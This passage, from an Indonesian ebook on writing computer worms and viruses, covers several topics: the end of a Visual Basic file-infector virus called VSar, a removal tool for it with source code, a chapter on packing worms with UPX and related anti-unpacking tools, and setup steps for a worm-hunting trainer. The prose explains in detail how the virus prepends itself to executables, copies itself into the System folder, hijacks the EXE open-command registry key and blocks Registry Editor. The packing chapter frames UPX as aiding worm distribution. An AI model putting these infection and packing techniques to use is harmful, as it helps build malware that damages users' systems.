Private Function SystemDir() On Error Resume Next Dim FolderValue As String FolderValue = Left(SF, GetSystemDirectory(SF, 255)) If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SystemDir = FolderValueEnd Function

Function WaitProcess(ByVal taskId As Long, Optional ByVal msecs As Long _ = -1) As Boolean Dim procHandle As Long procHandle = OpenProcess(&H100000, True, taskId) WaitProcess = WaitForSingleObject(procHandle, msecs) <> -1 CloseHandle(procHandle)End Function

Page 159: Computer Worm 2-eBook

148Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 4. P

emrogram

an Virus

Berikut penjelasan tentang kode program:

Diawal kode seperti biasa dimulai dengan pendeklarasian beberapa function API dan beberapa variabel, namun yang harus diperhatikan disini adalah nilai konstanta virsize. Pada kode program, penulis mem-berikan nilai 11264.

Nilai ini adalah besar file setelah penulis compile kemudian meng-kompresnya dengan UPX. Jika kapasitas file program yang telah Anda compile dan kompres ternyata tidak sama dengan 11264 byte, maka Anda harus menggantinya dengan nilai kapasitas yang sesuai.

Procedure Form_Load pertama kali mengeksekusi procedure InfectSystem, kemudian jika file utama yang tereksekusi tidak disertai dengan nama file target maka instruksi lompat ke branch 'Akhir’.

Jika file target berukuran lebih kecil dari 1.300.000 byte (ukuran ini masih memungkinkan untuk kapasitas disket) maka procedure akan membaca file target dan melihat 4 byte terakhir. Jika nilai yang dihasil-kan adalah "VSAR" maka mengeksekusi function OpenHost dengan menggunakan path penuh file target untuk variabel NamaFile, seba-liknya jika nilai yang dihasilkan berbeda maka procedure membaca file utama kemudian memberi nilai variabel buff_hd sebesar nilai yang terkandung pada konstanta virsize dan mengisi variabel buff_host dengan besar nilai yang tersisa.

Procedure kemudian menulis file target dengan menempatkan nilai variabel buff_hd diawal, file target ditengah dan menambahkan 4 byte "VSAR" diakhir file, setelah itu procedure langsung mengakhiri proses program utama.

Menggunakan function OpenHost harus menyertakan nilai untuk variabel NamaFile yang kemudian akan dikenali sebagai nama file target. Secara sederhana procedure ini membaca file target, kemudian membagi isi file menjadi dua bagian dan langsung memberikannya pada variabel buff_hd sebesar nilai yang terkandung pada konstanta virsize, dan besar sisa setelah dikurangi 4 byte diatur pada variabel buff_host.

Jika file yang ada pada variabel FakeName tidak ditemukan maka procedure menulis file tersebut dengan nilai yang terkandung pada variabel buff_host dan langsung mengeksekusi file tersebut, dalam hal ini procedure menunggu hingga file tersebut diakhiri baru kemudian mengakhiri proses file utama.

Page 160: Computer Worm 2-eBook

149Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

4. P

emro

gram

an V

irus

Procedure InfectSystem VSar membuat salinan file utama ke direktori System Windows dengan nama file loadexe.exe kemudian memanipu-lasi registry pada key HKEY_CLASSES_ROOT\exefile\shell\open\command dan mengubah value menjadi "loadexe.exe %1". Nilai registry ini akan mengeksekusi file loadexe.exe setiap kali user mengeksekusi file apa saja yang berekstensi "exe", selain itu procedure ini juga men-gatur agar user tidak dapat menjalankan aplikasi Registry Editor.

Function SystemDir berfungsi untuk mendapatkan direktori System Windows, sedangkan function WaitProcess berfungsi untuk menunggu suatu event berakhir.

4.2 MEMBUAT ANTI VIRUSProgram anti virus ini berfungsi untuk membersihkan VSar dari system komputer, serta memperbaiki file-file yang sudah terinfeksi.

4.2.1 ALGORITMA1. Melakukan pemeriksaan terhadap eksistensi VSar pada suatu nilai

registry 'winfake.exe’. Jika nilai registry tersebut ditemukan, maka mengembalikan dan menghapus nilai registry yang dimanipulasi VSar

2. Jika pengguna mengklik tombol Scan maka program melakukan pemeriksaan terhadap semua file executable pada drive dan direktori yang ditentukan oleh pengguna. Proses scanning dapat sewaktu-waktu dihentikan pengguna dengan mengklik tombol Stop

3. Jika file yang terperiksa memiliki byte penanda dari VSar, maka path dan nama file tersebut ditambahkan pada sebuah ListBox

4. Pengguna dapat memperbaiki file yang ada pada ListBox dengan mengklik ganda nama file tersebut pada ListBox atau menyeleksi file-file yang akan dihapus kemudian mengklik tombol Repair.

Page 161: Computer Worm 2-eBook

150Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 4. P

emrogram

an Virus

4.2.2 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'SimpleVirusRemover’, dan Application Title menjadi 'Simple Virus Remover’.

Tambahkan 3 buah object Label, 4 buah object CommandButton, 1 buah object ListBox, 1 buah object TextBox, 1 buah object Frame, 1 buah object CheckBox dan 5 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:

Properti object Form1

Jenis Nilai KeteranganName FrmRemoval Mengatur nama form menjadi FrmRe-

moval

BackColor &H00E0E0E0& Mengatur warna latar belakang menjadi abu-abu muda

BorderStyle Fixed Single Mengatur jenis border form menjadi tetap

Caption Simple Virus Remover

Mengatur titel yang akan ditampilkan pada form

Height 5295 Mengatur tinggi form

Icon (Icon) Pilih icon yang akan digunakan pada form, FrmRemoval menggunakan icon sun.ico

MaxButton False Tidak menampilkan tombol maximize

MinButton False Tidak menampilkan tombol minimize

StartUpPosi-tion

2 - Center Screen Menempatkan jendela form ditengah layar pada saat load.

Width 6105 Mengatur lebar form

Page 162: Computer Worm 2-eBook

151Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

4. P

emro

gram

an V

irus

Properti object Frame1

Jenis Nilai KeteranganBackColor &H00E0E0E0& Mengatur warna latar belakang menjadi

abu-abu muda

Caption Scan Options Mengatur titel yang akan ditampilkan pada Frame

Height 1095 Mengatur tinggi Frame

Left 120 Mengatur jarak Frame dari kiri

Top 600 Mengatur jarak Frame dari atas

Width 5775 Mengatur lebar Frame

Properti object Label1

Jenis Nilai KeteranganAllignment 2 - Center Mengatur jenis perataan menjadi rata

tengah

BackStyle Transparent Mengatur jenis latar belakang menjadi transparan

Caption VSar Removal Mengatur caption Label menjadi VSar Removal

Font Font: MS San SerifFont Style: BoldSize: 24

Mengatur jenis huruf MS San Serif, model huruf tebal dan ukuran huruf 24

ForeColor &H00808080& Mengatur warna huruf menjadi abu-abu

Height 615 Mengatur tinggi Label

Left 150 Mengatur jarak Label dari kiri

Top 150 Mengatur jarak Label dari atas

Width 5800 Mengatur lebar Label

Page 163: Computer Worm 2-eBook

152Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 4. P

emrogram

an Virus

Properti object Label2

Jenis Nilai KeteranganAllignment 2 - Center Mengatur jenis perataan menjadi rata

tengah

BackStyle Transparent Mengatur jenis latar belakang menjadi transparan

Caption VSar Removal Mengatur caption Label menjadi VSar Removal

Font Font: MS San SerifFont Style: BoldSize: 24

Mengatur jenis huruf MS San Serif, model huruf tebal dan ukuran huruf 24

ForeColor &H00FFFFFF& Mengatur warna huruf menjadi putih

Height 615 Mengatur tinggi Label

Left 120 Mengatur jarak Label dari kiri

Top 120 Mengatur jarak Label dari atas

Width 5800 Mengatur lebar Label

Properti object Label3

Jenis Nilai KeteranganName lblStatus Mengatur nama Label menjadi lblStatus

BackStyle 0 - Transparant Mengatur latar belakang menjadi transparan

Caption Kosongkan caption dengan menghapus caption default Label3

ForeColor &H00FF0000& Mengatur warna huruf menjadi biru

Height 495 Mengatur tinggi Label

Left 120 Mengatur jarak Label dari kiri

Top 4230 Mengatur jarak Label dari atas

Width 5775 Mengatur lebar Label

WordWrap True Membenarkan text pada Label wraping pada border

Page 164: Computer Worm 2-eBook

153Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

4. P

emro

gram

an V

irus

Properti object Command1

Jenis Nilai KeteranganName cmdBrowse Mengatur nama CommandButton menjadi

cmdBrowse

Caption Browse Mengatur caption CommandButton menjadi Browse

Height 375 Mengatur tinggi CommandButton

Left 1875 Mengatur jarak CommandButton dari kiri

Top 1200 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Properti object Command2

Jenis Nilai KeteranganName cmdScan Mengatur nama CommandButton menjadi

cmdScan

Caption Scan Mengatur caption CommandButton menjadi Scan

Height 375 Mengatur tinggi CommandButton

Left 2850 Mengatur jarak CommandButton dari kiri

Top 1200 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Properti object Command3

Jenis Nilai KeteranganName cmdStop Mengatur nama CommandButton menjadi

cmdStop

Caption Stop Mengatur caption CommandButton menjadi Stop

Height 375 Mengatur tinggi CommandButton

Left 3825 Mengatur jarak CommandButton dari kiri

Top 1200 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Page 165: Computer Worm 2-eBook

154Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 4. P

emrogram

an Virus

Properti object Command4

Jenis Nilai KeteranganName cmdRepair Mengatur nama CommandButton menjadi

cmdRepair

Caption Repair Mengatur caption CommandButton menjadi Repair

Height 375 Mengatur tinggi CommandButton

Left 4800 Mengatur jarak CommandButton dari kiri

Top 1200 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Properti object List1

Jenis Nilai KeteranganName lstFound Mengatur nama ListBox menjadi lstFound

ForeColor &H000000FF& Mengatur warna huruf menjadi merah

Height 2205 Mengatur tinggi ListBox

Left 120 Mengatur jarak ListBox dari kiri

MultiSelect 2 - Extended Mengatur metode seleksi pada mode Extended

Top 1800 Mengatur jarak ListBox dari atas

Width 5775 Mengatur lebar ListBox

Properti object Text1

Jenis Nilai KeteranganName txtPath Mengatur nama TextBox menjadi txtPath

Height 285 Mengatur tinggi TextBox

Left 240 Mengatur jarak TextBox dari kiri

Locked True Tidak mengijinkan perubahan data text secara manual

Top 840 Mengatur jarak TextBox dari atas

Width 5535 Mengatur lebar TextBox

Page 166: Computer Worm 2-eBook

155Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

4. P

emro

gram

an V

irus

Properti object Check1

Jenis Nilai KeteranganName chkBackup Mengatur nama CheckBox menjadi

chkBackup

BackColor &H00E0E0E0& Mengatur warna latar belakang menjadi abu-abu muda

Caption Make Backup Mengatur caption CheckBox menjadi Make Backup

Height 255 Mengatur tinggi CheckBox

Left 240 Mengatur jarak CheckBox dari kiri

Top 1320 Mengatur jarak CheckBox dari atas

Width 1455 Mengatur lebar CheckBox

Properti Module1

Jenis Nilai KeteranganName mdlBrowseFolder Mengatur nama module menjadi mdl-

BrowseFolder

Properti Module2

Jenis Nilai KeteranganName mdlFindFile Mengatur nama module menjadi mdlFindFile

Properti Module3

Jenis Nilai KeteranganName mdlGetName Mengatur nama module menjadi mdlGet-

Name

Properti Module4

Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi mdlRegis-

tryAPI

Page 167: Computer Worm 2-eBook

156Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 4. P

emrogram

an Virus

Properti Module5

Jenis Nilai KeteranganName mdlWinExit Mengatur nama module menjadi mdlWinExit

Untuk module mdlBrowseFolder Anda bisa menggunakan module yang sama pada WSar Infector Removal (Name), dan module mdl-WinExit menggunakan module yang sama pada WSar.6, module mdlRegistryAPI dengan module yang sama pada WSar.4, dan module mdlGetName dengan module yang sama pada Worm Removal (defi-nition file). Kemudian ketik kode program berikut ini pada module mdlFindFile:

Option Explicit OnGlobal StopIt As Boolean

Public Function FindFiles(ByVal MyPath As String, ByVal MyWild As _String, ByVal Signature As String, ByVal SizeLimit As Long, ByVal _MyList As ListBox, ByVal MyLabel As Label) Dim filename As String Dim DirName As String Dim dirNames() As String Dim nDir As Integer Dim i As Integer On Error GoTo FileERR If StopIt = True Then GoTo FileERR If Len(MyPath) = 0 Then Exit Function If Right(MyPath, 1) <> "\" Then MyPath = MyPath & "\" nDir = 0 ReDim dirNames(nDir) DirName = Dir(MyPath, vbDirectory Or vbHidden) Do While Len(DirName) > 0 If (DirName <> ".") And (DirName <> "..") Then If GetAttr(MyPath & DirName) = vbDirectory Or vbHidden Or _ vbReadOnly Or vbSystem Then dirNames(nDir) = DirName nDir = nDir + 1 ReDim Preserve dirNames(nDir) End If End If DirName = Dir() Loop filename = Dir(MyPath & MyWild, vbNormal Or vbHidden Or _ vbReadOnly) Do While Len(filename) <> 0 FindFiles = FindFiles + FileLen(MyPath & filename) MyLabel.Caption = MyPath & filename

Page 168: Computer Worm 2-eBook

157Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

4. P

emro

gram

an V

irus

DoEvents() If FileLen(MyPath & filename) > SizeLimit Then GoTo limitz If CheckSign(MyPath & filename, Signature) = _ True Then MyList.AddItem(MyPath & filename) End Iflimitz: filename = Dir() Loop If nDir > 0 Then For i = 0 To nDir - 1 FindFiles = FindFiles + FindFiles(MyPath & dirNames(i) & "\", _ MyWild, Signature, SizeLimit, MyList, MyLabel) Next i End IfFileERR:End Function

Function CheckSign(ByVal MyPath As String, ByVal StrText As String) As _ Boolean On Error Resume Next Dim filedata As String Open MyPath For Binary Access Read As #2 filedata = Space(FileLen(MyPath)) Get #2, , filedata If Right(filedata, 4) = StrText Then CheckSign = True Else CheckSign = False End If Close #2End Function

Module mdlFindFile berisi function FindFiles. Function ini memiliki sintaksis sebagai berikut:

FindFiles MyPath, MyWild, Signature, SizeLimit, MyList, MyLabel

Function FindFiles melakukan pencarian pada drive dan direktori yang ada pada variabel MyPath. Pencarian dilakukan untuk nama file yang ada pada variabel MyWild. Jika file yang dicari sehubungan den-gan variabel MyWild tadi ditemukan maka file-file yang ditemukan tersebut diperiksa apakah memiliki penanda yang ada pada variabel signature.

Page 169: Computer Worm 2-eBook

158Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 4. P

emrogram

an Virus

Jika file yang ditemukan ternyata memiliki nilai penanda tersebut maka file tersebut ditambahkan pada ListBox yang berkaitan dengan variabel MyList, namun sebelumnya setiap file yang diperiksa hanya dilewatkan jika berukuran lebih besar dari nilai yang terkandung pada variabel SizeLimit dan setiap file yang diperiksa ditampilkan pada Label yang berkaitan dengan variabel MyLabel.

Function CheckSign berfungsi memeriksa file pada variabel MyPath untuk suatu nilai pengenal yang ada pada variabel StrText, jika nilai pengenal ternyata ditemukan pada file terperiksa maka CheckSign ber-nilai true, sebaliknya jika tidak ditemukan CheckSign akan mengemba-likan nilai false.

Kemudian ketik kode program berikut ini pada form frmRemoval:

'VSar Removal by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Declare Function SleepEx Lib "Kernel32" (ByVal _dwMilliseconds As Long, ByVal bAlertable As Long) As Long

Private Sub Form_Load() On Error Resume Next Dim Spawn As String Spawn = GetStringValue("HKEY_CLASSES_ROOT\exefile\sh" & _ "ell\open\command", "") If LCase(Left(Spawn, 11)) = "loadexe.exe" Then Call Reconfig() End If lblStatus.Caption = "#VSar Removal Ready# Waiti" & _ "ng for instruction..."End Sub

Private Sub Reconfig() SetStringValue("HKEY_CLASSES_ROOT\exefile\shell\open\c" & _ "ommand", "", Chr(34) & Chr(37) & Chr(49) & Chr(34) & " " & _ Chr(37) & Chr(42)) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Policies\System", "DisableRe" & _ "gistryTools", 0) MsgBox("VSar found on your system, its recommended to scan " & _ "all your drive", vbExclamation)End Sub

Private Sub cmdBrowse_Click() Dim brwVal As String brwVal = BrowseForFolder("Select Drive And Directory:") If Len(brwVal) > 0 Then txtPath.Text = brwVal End IfEnd Sub

Page 170: Computer Worm 2-eBook

159Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

4. P

emro

gram

an V

irus

Private Sub cmdRepair_Click() On Error Resume Next Dim i As Integer If lstFound.SelCount = 0 Then MsgBox("No file selected", vbCritical) Else Do Until lstFound.SelCount = 0 For i = 0 To lstFound.ListCount If lstFound.Selected(i) = True Then SetAttr(lstFound.List(i), vbNormal) RepairFile(lstFound.List(i), 11264, 4, chkBackup.value) lstFound.RemoveItem(i) End If Next Loop End If UpdateStatus()End Sub

Private Sub cmdStop_Click() StopIt = TrueEnd Sub

Private Sub Form_Unload(ByVal Cancel As Integer) StopIt = False EndEnd Sub

Private Sub lstFound_Click() lblStatus.Caption = lstFound.TextEnd Sub

Private Sub lstFound_DblClick() On Error Resume Next cmdRepair_Click()End Sub

Private Sub UpdateStatus() lblStatus.Caption = "Total virus found: " & lstFound.ListCountEnd Sub

Private Sub cmdScan_Click() On Error Resume Next Dim xmount As String Dim MyCaption As String MyCaption = Me.Caption cmdScan.Enabled = False lstFound.Enabled = False If Mid(txtPath.Text, 2, 2) <> ":\" Then MsgBox("Path file not found", vbCritical) GoTo ProcError End If lstFound.Clear() StopIt = False Me.Caption = MyCaption & " - Please Wait..." SleepEx(1, False)

Page 171: Computer Worm 2-eBook

160Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 4. P

emrogram

an Virus

FindFiles(txtPath.Text, "*.exe", "VSAR", 1311268, lstFound, _ lblStatus) If lstFound.ListCount > 1 Then xmount = " files." Else xmount = " file." End If MsgBox("Scan progress finished, found " & lstFound.ListCount & _ xmount, vbInformation) UpdateStatus() lstFound.Enabled = TrueProcError: cmdScan.Enabled = True Me.Caption = MyCaptionEnd Sub

Private Function RepairFile(ByVal MyPath As String, ByVal VirSize As _Long, ByVal SignSize As Integer, ByVal Backup As Boolean) Dim all_host As String Dim buff_hd As String Dim buff_host As String Dim hostsize As String Dim Old As String WinExit(GetFileName(MyPath, True)) SleepEx(1, False) Old = Mid(MyPath, 1, (Len(MyPath) - 4)) & ".bak" Name MyPath As Old Open Old For Binary Access Read As #1 hostsize = (LOF(1) - Int(VirSize)) buff_hd = Space(VirSize) buff_host = Space(hostsize - SignSize) Get #1, , buff_hd Get #1, , buff_host Close #1 Open MyPath For Binary As #2 Put #2, , buff_host Close #2 If Backup = False Then Kill(Old) End IfEnd Function

Tampilan frmRemoval saat dijalankan:

Page 172: Computer Worm 2-eBook

161Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

4. P

emro

gram

an V

irus

Berikut penjelasan tentang kode program:

Procedure Form_Load pertama kali memeriksa nilai registry "HKEY_CLASSES_ROOT\exefile\shell\open\command" dan jika 11 karakter pertama nilai tersebut adalah 'loadexe.exe’ maka procedure memang-gil procedure Reconfig. Procedure kemudian mengatur caption pada lblStatus menjadi "#VSar Removal Ready# Waiting for instruction"

Procedure Reconfig berfungsi untuk mengembalikan nilai registry yang telah diubah VSar sehubungan dengan metode Shell Spawning yang digunakan, kemudian menampilkan pesan "VSar found on your system, its recommended to scan all your drive".

Procedure cmdRepair_Click akan aktif saat user mengklik tombol Repair. Jika tidak ada item terseleksi pada object lstFound maka me-nampilkan kotak pesan "No file selected", namun jika ada item yang terseleksi maka untuk setiap item terseleksi, procedure mengatur atributnya menjadi Normal, mengeksekusi function RepairFile dengan mengisi variabel MyPath dengan item terseleksi, kemudian mengha-pusnya dari list, terakhir mengeksekusi procedure UpdateStatus.

Procedure cmdScan_Click akan aktif saat user mengklik tombol Scan. Men-disable tombol Scan, Men-disable object lstFound, jika karakter ke-2 dan ke-3 pada txtPath bukan string ":\" maka menampilkan kotak pesan "Path file not found" kemudian lompat ke branch 'ProcError’.

Namun, jika benar string ":\" maka mengosongkan data pada lstFound, mengatur variabel StopIt menjadi false, menambahkan teks "- Please Wait..." pada caption frmRemoval, mengeksekusi function FindFiles dengan mengisi variabel MyPath dengan data pada txtPath, men-gisi variabel MyWild dengan string "*.exe", mengisi variabel Signature dengan "VSAR", mengisi variabel SizeLimit dengan 1311268, mengatur variabel MyList dengan lstFound, mengatur variabel MyLabel dengan lblStatus.

Jika jumlah item pada lstFound lebih dari 1 maka mengatur nilai varia-bel xmount menjadi " files." jika tidak maka mengatur nilai variabel xmount menjadi " file.". Procedure kemudian menampilkan pesan "Scan progress finished, found " dan melanjutkannya dengan nilai jumlah item pada lstFound dan nilai pada variabel xmount, kemudian memanggil procedure UpdateStatus, mengatur object

Page 173: Computer Worm 2-eBook
Page 174: Computer Worm 2-eBook

163Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

5. K

ompr

esi d

enga

n U

PX

BAB 5KOMPRESI DENGAN UPX

Kenapa bab ini ada?

Kompresi merupakan hal yang penting baik untuk file program biasa dan terlebih lagi untuk suatu file worm, karena dengan kompresi, ukuran suatu file executable bisa dikecilkan sehingga lebih mudah untuk didistribusikan

Page 175: Computer Worm 2-eBook

164Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 5. K

ompresi dengan U

PX

Suatu aplikasi yang melakukan kegiatan kompresi pada file executable umumnya disebut dengan istilah Executable Packer, Compactor atau Compressor.

Banyak keuntungan yang bisa diperoleh dari aplikasi ini, tidak hanya berguna untuk menyusutkan ukuran file tetapi juga sekaligus meng-enkripsi file tersebut. File executable yang terkompresi tetap dapat berjalan dengan normal tanpa perlu adanya file program tambahan.

Banyak sekali aplikasi Compressor yang bisa kita peroleh, antara lain:

1. UPX2. ASPack3. Petite4. FSG (Fast Small Good)5. PECompact6. PE-Pack7. Pack Master8. WWPack329. Packman Packer10. NeoLite Executable Compressor

Namun yang paling populer dikalangan worm writer adalah aplikasi UPX. Hal ini disebabkan karena aplikasi tersebut tetap mampu melaku-kan kompresi dengan ratio tinggi pada file berukuran kecil. Proses dekompresi sangat cepat dan memiliki ratio kompresi yang lebih baik dari Zip maupun GZip. Selain itu pada versi 1.25, UPX sudah dapat mengkompresi beberapa format executable sebagai berikut:

1 atari/tos 6 linux/386

2 dos/exe 7 rtm32/pe

3 dos/sys 8 tmt/adam

4 dos/com 9 watcom/le

5 djgpp2/coff 10 win32/pe

Page 176: Computer Worm 2-eBook

165Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

5. K

ompr

esi d

enga

n U

PX

Sebagai perbandingan, berikut ini penulis sertakan tabel hasil kompresi dari tiga aplikasi Compressor, yaitu UPX 1.25, ASPack 2.12, Petite 2.2 dan masing-masing menggunakan ratio kompresi yang tertinggi.

FILE PACKER - BEST RATIO (KB)

Name Size(KB) UPX 1.25 ASPack 2.12 Petite 2.2

WSar.1 32,768 16,896 20,992 17,248

WSar.2 24,576 11,776 15,872 12,332

WSar.3 24,576 12,288 16,384 15,404

WSar.4 28,672 10,752 14,848 11,236

WSar.5 32,768 11,776 15,360 12,320

WSar.6 36,864 14,848 18,432 15,264

WSar.7 36,864 13,824 17,920 14,816

WSar.8 49,152 19,456 23,040 20,052

WSar.9 49,152 22,528 26,624 23,043

5.1 PERINTAH BARISDalam perintah baris, bentuk umum yang digunakan UPX adalah:

upx [command] [options] filename...

COMMAND-1 to -9

- -best

Nilai 1 hingga 9 menunjukan level kompresi, semakin besar angka yang digunakan maka semakin besar pula ratio kompresi yang digunakan. - -best adalah opsi untuk menggunakan ratio kompresi yang paling baik, namun dengan menggunakan opsi ini proses kompresi akan menjadi lebih lambat untuk file yang berukuran besar.

Jika Anda tidak mengatur level kompresi maka secara otomatis program akan menggunakan level -8 untuk file yang berukuran lebih kecil dari 512 Kb dan menggunakan level -7 untuk file dengan ukuran yang lebih besar.

Page 177: Computer Worm 2-eBook

166Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 5. K

ompresi dengan U

PX

-d decompress, kebalikan dari proses kompresi yaitu mengubah kembali file terkompresi menjadi file asli.

-t test, menguji integritas file apakah telah terkompresi dengan UPX atau tidak.

-l list, memberikan beberapa informasi tentang file yang terkom-presi, seperti ukuran file dan ratio kompresi.

OPTIONS-q tidak memberikan pesan peringatan

-q -q tidak memberikan pesan kesalahan

-q -q -q tidak memberikan output sama sekali

- -help menampilkan bantuan

- -version menampilkan versi UPX

Berikut ini adalah contoh penggunaan UPX untuk mengkompres file 'wsar4.exe’ dengan ukuran file asli sebesar 28,672 Kb. Dalam hal ini file program upx.exe dan wsar4.exe sama-sama berada pada root direktori C:.

Berikut ini adalah contoh pengujian file, dengan hasil uji file positif terkompres oleh UPX.

Page 178: Computer Worm 2-eBook

167Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

5. K

ompr

esi d

enga

n U

PX

Berikut ini adalah contoh penggunaan UPX untuk melakukan de-compress pada file 'wsar4.exe’, dengan ukuran file terkompres adalah sebesar 10,752 Kb.

5.2 VERSI GUISeiring dengan populernya UPX banyak sekali pengguna pemula yang mengalami kesulitan dalam menggunakan program ini karena harus menggunakan perintah baris dalam mengoperasikannya. Be-berapa programmer kemudian membuat agar program UPX ini dapat dioperasikan dengan lebih mudah, dengan tampilan grafis yang lebih enak dipandang dan tentu lebih praktis dengan klik mouse.

Aplikasi tersebut antara lain; UPX Windows GUI, CX_UPX dan Darmal’s Packer . Berikut ini adalah tampilan dari aplikasi UPX Windows GUI:

Page 179: Computer Worm 2-eBook

168Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 5. K

ompresi dengan U

PX

Berikut ini adalah tampilan dari aplikasi CX_UPX:

Berikut ini adalah tampilan dari aplikasi Darmal’s Packer:

Page 180: Computer Worm 2-eBook

169Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

5. K

ompr

esi d

enga

n U

PX

5.3 PROTEKSIKemudahan dekompresi pada UPX, membuat sebagian pengguna UPX merasa resah jika programnya dapat di- decompress untuk alasan apa-pun, maka beberapa programmer dari dunia underground kemudian membuat suatu program aplikasi yang mampu memproteksi file dari proses dekompresi. Program tersebut antara lain UPX Scrambler dan UPX Mutanter.

Tampilan dari aplikasi UPX Mutanter:

Berikut ini adalah tampilan dari aplikasi UPX Scrambler:

Page 181: Computer Worm 2-eBook
Page 182: Computer Worm 2-eBook

171Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

6. W

orm

Hun

ter T

rain

er

BAB 6WORM HUNTER TRAINER

Kenapa bab ini ada?

Untuk melengkapi buku ini, penulis membuat sebuah program sederhana yang kemudian diberi nama WHT (Worm Hunter Trainer), WHT adalah aplikasi yang mensimulasikan worm komputer yang akan menginfeksi sistem komputer dan secara berkala membuat file infector pada disket, nah tugas Anda adalah berusaha untuk melumpuhkan worm sampler (worm yang dihasilkan aplikasi WHT) tersebut. Penulis berharap aplikasi WHT ini dapat melatih dan mempertajam naluri Anda dalam berburu worm komputer

Page 183: Computer Worm 2-eBook

172Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 6. W

orm H

unter Trainer

Aplikasi WHT cukup aman digunakan karena worm sampler yang dihasilkan tidak akan menginfeksi system komputer selama aplikasi WHT tidak mengijinkannya sehingga system

komputer yang tidak terinstal WHT tidak akan terinfeksi oleh worm sampler tersebut.

Worm sampler juga tidak akan membuat salinan file infector pada disket yang belum mendapat perizinan dari aplikasi WHT. Selain itu worm sampler tidak melakukan worming (penyebaran dengan membuat banyak salinan worm) pada harddisk atau jaringan, tidak menghapus file apapun dari harddisk serta tidak mengandung muatan/payload tertentu. Worm sampler tidak lebih dari worm yang hanya memuat rutin untuk metode launcher dan live defender saja.

WHT pada versi 1.1 ini mengusung 7 worm sampler standar, dengan metode launcher dan tingkat kesulitan yang berbeda, yaitu:

1. WHT.Aten2. WHT.Satyr3. WHT.Mammon4. WHT.Pluto5. WHT.Moloch6. WHT.Morpheus7. WHT.Osiris

6.1 KEBUTUHAN SISTEM1. WHT berjalan pada sistem operasi Windows NT/2000 dan sangat

direkomendasikan untuk menggunakan Windows XP2. WHT memerlukan 7.7 MB ruang kosong pada harddisk3. Disarankan untuk menggunakan prosesor dengan speed 633 Mhz

atau lebih baik4. Disk drive dan sebuah disket5. Program installer aplikasi WHT.

Page 184: Computer Worm 2-eBook

173Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

6. W

orm

Hun

ter T

rain

er

6.2 INSTALASI1. Eksekusi file setup.exe untuk aplikasi Worm Hunter Trainer 1.1

yang tersedia pada CD pendamping buku

2. Setelah itu tampil wizard Worm Hunter Trainer 1.1 Setup, seperti pada gambar di samping kanan ini

3. Disarankan untuk menutup semua aplikasi sebelum melanjutkan-nya, kemudian klik tombol Next

4. Pada section License Agreement, jika Anda setuju dengan per-janjian yang ada pada kotak dialog tersebut beri seleksi pada opsi 'I accept the agreement’, tentunya Anda harus membacanya terlebih dahulu. Untuk mengins-tal WHT maka Anda harus setuju dengan isi perjanjian tersebut, setelah itu klik tombol Next

Page 185: Computer Worm 2-eBook

174Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 6. W

orm H

unter Trainer

5. Pada section User Information, isi TextBox User Name dengan nama Anda, dan nama organisasi pada TextBox Organization. Setelah itu pada TextBox Serial Number isi dengan nomor seri berikut ini; "414348-4D4144-444152-4D414C-SP1" tanpa tanda kutip (aplikasi WHT adalah freeware, namun Anda tidak boleh memberikan / menyebarkan program ini dalam bentuk apapun tanpa persetujuan dari penulis). Setelah itu klik tombol Next

6. Pada section Select Destination Location, klik Next untuk melanjut-kan, atau Anda bisa merubah lokasi target instalasi dengan merubah langsung path yang ada pada TextBox atau dengan mengklik tombol Browse untuk menentukan direktori lainnya, kemudian klik tombol Next, perhatikan gambar berikut

Page 186: Computer Worm 2-eBook

175Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

6. W

orm

Hun

ter T

rain

er

7. Pada section Select Start Menu Folder, klik tombol Next untuk melanjutkan

8. Section Ready to Install, menandakan bahwa wizard siap untuk mengekstrak file instalasi pada system, klik tombol Install untuk memulai proses instalasi

Page 187: Computer Worm 2-eBook

176Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 6. W

orm H

unter Trainer

